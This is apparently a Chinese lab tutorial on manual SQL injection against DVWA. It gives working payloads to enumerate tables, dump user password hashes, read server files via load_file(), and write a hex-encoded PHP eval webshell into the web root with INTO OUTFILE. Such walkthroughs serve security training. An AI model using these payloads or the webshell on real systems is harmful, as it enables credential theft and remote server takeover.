mysql猜密码/secure_file_priv获取shell

2020-03-31  本文已影响0人  _Beginner

一.本文介绍

1、本文介绍手工猜解账户密码;利用开启的secure_file_priv="",进行 load_file()、into outfile()。


二.获取账号密码

1、猜字段

1.在ID框中输入:2' order by 1 -- ;2' order by 2 -- 时可以正常,当2' order by 3 -- 时,报错,所以当前表的字段为2个字段。

2' order by 3 -- 

2、猜显位

1.在ID框中输入:2' union select 1,2 -- 时显示正常,当2' union select 1,2,3 -- 或其他时,报错,所以显位为:2' union select 1,2 -- ,然后:2' union select user(),database() --  显示了当前用户名和数据库。

3、查表、字段、内容

1.将dvwa转换为16进制为:0x64767761 。在ID框中输入:2' union select user(),group_concat(table_name) from information_schema.tables where table_schema=0x64767761 -- 查出guestbook,users两个表。

2. 将users转换为16进制为:0x7573657273  。 在ID框中输入:2' UNION SELECT 1,group_concat(column_name) from information_schema.columnswhere table_name=0x7573657273 -- 查出login,password,email,secret 等字段

3.在ID框中输入:2' UNION SELECT user,password from users -- 查出账号及MD5密码


三.获取shell

1.对服务器文件进行读写操作

1. into outfile需要有以下条件:(可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv)

1、需要知道远程目录
2、需要远程目录有写权限
3、需要数据库开启secure_file_priv

2. 数据库开启secure_file_priv

在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ' ' ;然后重启,登录mysql的cmd输入:show variables like '%secure%' 如果存在,值为空,则可以对服务器进行读写操作。

3. load_file()加载服务器文件: 
把服务器中c:\\2.txt转换为16进制:0x633A5C5C322E747874 (c:\\2.txt 为已有文件。猜的文件)
在ID框中输入:2' union select 1,load_file(0x633A5C5C322E747874) -- 便可以看到txt里面的内容。

4. into outfile对服务器进行写一句话木马操作

ID框中:2' union select 0x3C3F70687020406576616C28245F504F53545B276363313233275D293B3F3E,2 into outfile 'C:/phpStudy/PHPTutorial/WWW/DVWA/665.php' -- 

URL中:union%20select%200x3C3F70687020406576616C28245F504F53545B276363313233275D293B3F3E,2 into outfile 'C:/phpStudy/PHPTutorial/WWW/DVWA/665.php'+--+

然后上菜刀

二阶SQL:注册的账号有单引号(')

上一篇下一篇

猜你喜欢

热点阅读